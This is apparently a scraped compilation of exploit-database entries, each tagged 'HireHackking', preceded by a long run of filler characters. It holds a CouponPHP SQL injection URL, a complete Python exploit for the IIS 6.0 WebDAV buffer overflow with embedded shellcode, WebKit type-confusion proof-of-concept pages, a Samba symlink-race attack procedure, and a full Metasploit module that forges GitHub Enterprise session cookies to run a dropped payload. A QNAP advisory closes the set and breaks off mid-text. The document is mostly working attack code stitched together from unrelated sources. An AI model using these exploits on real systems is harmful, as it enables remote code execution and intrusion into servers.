AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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}
HireHackking 
# # # # #
# Exploit Title: CouponPHP Script v3.1 - SQL Injection
# Google Dork: N/A
# Date: 27.03.2017
# Vendor Homepage: http://couponphp.com/
# Software: http://couponphp.com/demos
# Demo: http://newdemo2.couponphp.com
# Demo: http://newdemo3.couponphp.com
# Version: 3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/go.php?coupon_id=1&code=[SQL]
# users
#  id
#  username
#  password
# # # # #
HireHackking 
'''
Description:Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016.

Additional Information: the ScStoragePathFromUrl function is called twice
Vulnerability Type: Buffer overflow
Vendor of Product: Microsoft
Affected Product Code Base: Windows Server 2003 R2
Affected Component: ScStoragePathFromUrl
Attack Type: Remote
Impact Code execution: true
Attack Vectors: crafted PROPFIND data

Has vendor confirmed or acknowledged the vulnerability?:true

Discoverer:Zhiniang Peng and Chen Wu.
Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China
'''

#------------Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous.
#written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China 
#-----------Email: edwardz@foxmail.com

import socket  

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect(('127.0.0.1',80))  

pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If: <http://localhost/aaaaaaa'
pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'

shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA'

pay+=shellcode
pay+='>\r\n\r\n'
print pay

sock.send(pay)  
data = sock.recv(80960)  

print data 
sock.close
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1036

There is a type confusion vulnerability when calling DateTimeFormat.format. This function is provided as a bound function by a getter in the DateTimeFormat class. Binding the function ensures that the this object is of the right type. However, when the bound function is called, it calls into user script when converting the date parameter, which can call Function.caller, obtaining the unbound function. This type unsafe function can then be called on any type.

A minimal PoC is as follows, and a full PoC is attached. 


var i = new Intl.DateTimeFormat();
var q;

function f(){
	q = f.caller;
	return 10;
}


i.format({valueOf : f});

q.call(0x77777777);
-->

<html>
<body>
<script>

var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));

var i = new Intl.DateTimeFormat();

//print(i);

var q;

function f(){

	//print("in f");
	//print(f.caller);
	q = f.caller;
	return 10;
}

try{
i.format({valueOf : f});
}catch(e){

	//print("problem");

}

//print(q);
q.call(0x77777777);

</script>
</body>
</html>
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1032

If a builtin script in webkit is in strict mode, but then calls a function that is not strict, this function is allowed to call Function.caller and can obtain a reference to the strict function. This is inconsistent with the behavior when executing non-builtin scripts in Safari, and the behavior in other browsers, where having a single strict function on the call stack forbids calls to Function.caller up to and including the first call to a strict function. This difference allows several sensitive native functions, such as arrayProtoPrivateFuncAppendMemcpy to be called directly, without the JavaScript wrappers that provide type and length checks.

A minimal example of this issue is as follows, and a full example is attached.

var q;
function g(){
	q = g.caller;
	return 7;
}


var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});
[4, 5, 6].concat(a);
q(0x77777777, 0x77777777, 0);


I strongly recommend this issue be fixed by changing the behaviour of Function.caller in strict mode, versus making changes to the natives, as it likely causes many similar problems 
-->

<html>
<body>
<script>

var q;
function g(){
	//print("in g");
	//print(arguments.caller);
	//print(g.caller);
	q = g.caller;
	//print(g.caller);
	return 7;

}

var a = [1, 2, 3];

Object.defineProperty( Array.prototype, "1", { get : g} );


var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});

[4, 5, 6].concat(a);
alert(q);
q(0x7777, 0x7777, 0);

</script>
</body>
</html>
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1039

The Samba server is supposed to only grant access to configured share
directories unless "wide links" are enabled, in which case the server is allowed
to follow symlinks. The default (since CVE-2010-0926) is that wide links are
disabled.

smbd ensures that it isn't following symlinks by calling lstat() on every
path component, as can be seen in strace (in reaction to the request
"get a/b/c/d/e/f/g/h/i/j", where /public is the root directory of the share):

root@debian:/home/user# strace -e trace=file -p18954
Process 18954 attached
lstat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
getcwd("/public", 4096)                 = 8
lstat("/public/a", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e/f", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e/f/g", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e/f/g/h", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e/f/g/h/i", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
getxattr("a/b/c/d/e/f/g/h/i/j", "system.posix_acl_access", 0x7ffc8d870c30, 132) = -1 ENODATA (No data available)
stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
open("a/b/c/d/e/f/g/h/i/j", O_RDONLY)   = 35


This is racy: Any of the path components - either one of the directories or the
file at the end - could be replaced with a symlink by an attacker over a second
connection to the same share. For example, replacing a/b/c/d/e/f/g/h/i
with a symlink  to / immediately before the open() call would cause smbd to open
/j.

To reproduce:

 - Set up a server with Samba 4.5.2. (I'm using Samba 4.5.2 from Debian
   unstable. I'm running the attacks on a native machine while the server is
   running in a VM on the same machine.)
 - On the server, create a world-readable file "/secret" that contains some
   text. The goal of the attacker is to leak the contents of that file.
 - On the server, create a directory "/public", mode 0777.
 - Create a share named "public", accessible for guests, writable, with path
   "/public".
 - As the attacker, patch a copy of the samba-4.5.2 sourcecode with the patch in
   attack_commands.patch.
 - Build the patched copy of samba-4.5.2. The built smbclient will be used in
   the following steps.
 - Prepare the server's directory layout remotely and start the rename side of
   the race:

   $ ./bin/default/source3/client/smbclient -N -U guest //192.168.56.101/public
   ./bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb.conf - run testparm to debug it
   Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian]
   smb: \> posix
   Server supports CIFS extensions 1.0
   Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt
   smb: /> ls
     .                                   D        0  Wed Dec 14 23:54:30 2016
     ..                                  D        0  Wed Dec 14 13:02:50 2016

        98853468 blocks of size 1024. 66181136 blocks available
   smb: /> symlink / link
   smb: /> mkdir normal
   smb: /> put /tmp/empty normal/secret # empty file
   putting file /tmp/empty as /normal/secret (0.0 kb/s) (average 0.0 kb/s)
   smb: /> rename_loop link normal foobar

 - Over a second connection, launch the read side of the race:

   $ ./bin/default/source3/client/smbclient -N -U guest //192.168.56.101/public
   ./bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb.conf - run testparm to debug it
   Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian]
   smb: \> posix
   Server supports CIFS extensions 1.0
   Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt
   smb: /> dump foobar/secret

 - At this point, the race can theoretically be hit. However, because the
   renaming client performs operations synchronously, the network latency makes
   it hard to win the race. (It shouldn't be too hard to adapt the SMB client to
   be asynchronous, which would make the attack much more practical.) To make it
   easier to hit the race, log in to the server as root and run "strace" against
   the process that is trying to access foobar/secret all the time without any
   filtering ("strace -p19624"). On my machine, this causes the race to be hit
   every few seconds, and the smbclient that is running the "dump" command
   prints the contents of the file each time the race is won.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41740.zip
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1033

There is an out-of-bounds read when reading the bound arguments array of a bound function. When Function.bind is called, the arguments to the call are transferred to an Array before they are passed to JSBoundFunction::JSBoundFunction. Since it is possible that the Array prototype has had a setter added to it, it is possible for user script to obtain a reference to this Array, and alter it so that the length is longer than the backing native butterfly array. Then when boundFunctionCall attempts to copy this array to the call parameters, it assumes the length is not longer than the allocated array (which would be true if it wasn't altered), and reads out of bounds.

This is likely exploitable, because the read values are treated as JSValues, so this issue can allow type confusion if the attacker controls any of the unallocated values that are read.

This issue is only in WebKit trunk and Safari preview, it hasn't made it to regular Safari releases yet.


A minimal PoC is as follows, and a full PoC is attached.


var ba;

function s(){
	ba = this;
}


function dummy(){
	alert("just a function");
}


Object.defineProperty(Array.prototype, "0", {set : s });
var f = dummy.bind({}, 1, 2, 3, 4);
ba.length = 100000;
f(1, 2, 3);
-->

<html>
<body>
<script>

var ba;

function s(){
	alert("in s");
	ba = this;
}


function g(){
	alert("in g");
	return 7;
}


function dummy(){
	alert("just a function");
}

alert("start");

try{
Object.defineProperty(Array.prototype, "0", {set : s, get : g});
var f = dummy.bind({}, 1, 2, 3, 4);
alert("ba" + ba);
ba.length = 100000;
f(1, 2, 3);
}catch(e){

	alert(e.message);

}

</script>
</body>
</html>
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Github Enterprise Default Session Secret And Deserialization Vulnerability",
      'Description'    => %q{
        This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6.
        The first is that the session management uses a hard-coded secret value, which can be
        abused to sign a serialized malicious Ruby object. The second problem is due to the
        use of unsafe deserialization, which allows the malicious Ruby object to be loaded,
        and results in arbitrary remote code execution.

        This exploit was tested against version 2.8.0.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!)
          'sinn3r'                       # Porting the PoC to Metasploit
        ],
      'References'     =>
        [
          [ 'EDB', '41616' ],
          [ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ],
          [ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version
        ],
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Github Enterprise 2.8', { } ]
        ],
      'DefaultOptions' =>
        {
          'SSL'   => true,
          'RPORT' => 8443
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 15 2017',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/'])
      ], self.class)
  end

  def secret
    '641dd6454584ddabfed6342cc66281fb'
  end

  def check
    uri = normalize_uri(target_uri.path, 'setup', 'unlock')
    res = send_request_cgi!({
      'method' => 'GET',
      'uri'    => uri,
      'vars_get' =>{
        'redirect_to' => '/'
      }
    })

    unless res
      vprint_error('Connection timed out.')
      return Exploit::CheckCode::Unknown
    end

    unless res.get_cookies.match(/^_gh_manage/)
      vprint_error('No _gh_manage value in cookie found')
      return Exploit::CheckCode::Safe
    end

    cookies = res.get_cookies
    vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...")
    gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)
    data = gh_manage_value.split('--').first
    hmac = gh_manage_value.split('--').last.split(';', 2).first
    vprint_status("Data: #{data.gsub(/\n/, '')}")
    vprint_status("Extracted HMAC: #{hmac}")
    expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
    vprint_status("Expected HMAC: #{expected_hmac}")

    if expected_hmac == hmac
      vprint_status("The HMACs match, which means you can sign and tamper the cookie.")
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def get_ruby_code
    b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
    bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
    register_file_for_cleanup(b64_fname, bin_fname)
    p = Rex::Text.encode_base64(generate_payload_exe)

    c  = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
    c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
    c << "%x(chmod +x #{bin_fname}); "
    c << "%x(#{bin_fname})"
    c
  end


  def serialize
    # We don't want to run this code within the context of Framework, so we run it as an
    # external process.
    # Brilliant trick from Brent and Adam to overcome the issue.
    ruby_code = %Q|
    module Erubis;class Eruby;end;end
    module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end

    erubis = Erubis::Eruby.allocate
    erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\"
    proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
    proxy.instance_variable_set :@instance, erubis
    proxy.instance_variable_set :@method, :result
    proxy.instance_variable_set :@var, "@result"

    session =
    {
      'session_id' => '',
      'exploit'    => proxy
    }

    print Marshal.dump(session)
    |

    serialized_output = `ruby -e "#{ruby_code}"`

    serialized_object = [serialized_output].pack('m')
    hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object)

    return serialized_object, hmac
  end

  def send_serialized_data(dump, hmac)
    uri = normalize_uri(target_uri.path)
    gh_manage_value = CGI.escape("#{dump}--#{hmac}")
    cookie = "_gh_manage=#{gh_manage_value}"
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri,
      'cookie' => cookie
    })

    if res
      print_status("Server returned: #{res.code}")
    end
  end

  def exploit
    dump, hmac = serialize
    print_status('Serialized Ruby stager')

    print_status('Sending serialized Ruby stager...')
    send_serialized_data(dump, hmac)
  end

end

=begin

Handy information:

To deobfuscate Github code, use this script:
https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42

Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this
algorithm:

* Takes the session hash (Json) in env['rack.session']
* Marshal.dump the hash into a string
* Base64 the string
* Append a hash of the data at the end of the string to prevent tampering.
* The signed data is saved in _gh_manage'

The format looks like this:

[ DATA ]--[ Hash ]

Also see:
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb

=end
HireHackking 
QNAP QTS Domain Privilege Escalation Vulnerability

 Name              Sensitive Data Exposure in QNAP QTS
 Systems Affected  QNAP QTS (NAS) all model and all versions < 4.2.4
 Severity          High 7.9/10
 Impact            CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
 Vendor            http://www.qnap.com/
 Advisory          http://www.ush.it/team/ush/hack-qnap/qnap.txt
 Authors           Pasquale "sid" Fiorillo (sid AT ush DOT it) 
                   Guido "go" Oricchio (g.oricchio AT pcego DOT com)
 Date              20170322

I. BACKGROUND

QNAP Systems, founded in 2004, provides network attached storage (NAS)
and network video recorder (NVR) solutions for home and business use to
the global market.
QNAP also delivers a cloud service, called myQNAPcloud, that allows
users to access and manage the devices from anywhere.
QTS is a QNAP devices proprietary firmware based on Linux.

ISGroup (http://www.isgroup.biz/) is an Italian Information Security 
boutique, we found this 0day issue while supporting Guido Oricchio 
of PCego, a System Integrator, to secure a QNAP product for one of his
customer.

Responsible disclosure with Qnap: we contacted qnap on public security@
contact and we escalate fast to their Security Researcher Myron Su on
PGP emails.

Prior vulnerabilities in QNAP: 
https://www.qnap.com/en/support/con_show.php?op=showone&cid=41

Information to customers of the vulnerability is shown in their bulletin
ID NAS-201703-21 (https://www.qnap.com/en/support/con_show.php?cid=113):
QTS 4.2.4 Build 20170313 includes security fixes for the following
vulnerabilities: Configuration file vulnerability (CVE-2017-5227)
reported by Pasquale Fiorillo of the cyber security company ISGroup
(www.isgroup.biz), a cyber security company, and Guido Oricchio of
PCego (www.pcego.com), a system integrator.

The latest version of the software at the time of writing can be 
obtained from:

https://www.qnap.com/en-us/product_x_down/
https://start.qnap.com/en/index.php
https://www.qnap.com/

II. DESCRIPTION

The vulnerability allows a local QTS admin user, or other low privileged
user, to access configuration file that includes a bad crypted Microsoft
Domain Administrator password if the NAS was joined to a Microsoft 
Active Directory domain.

The affected component is the "uLinux.conf" configuration file, 
created with a world-readable permission used to store a Domain 
Administrator password.

Admin user can access the file using ssh that is enabled by default.
Other users are not allowed to login, so they have to exploit a 
component, such as a web application, to run arbitrary command or 
arbitrary file read.

TLDR: Anyone is able to read uLinux.conf file, world readable by 
default, can escalate to Domain Administrator if a NAS is a domain 
member.

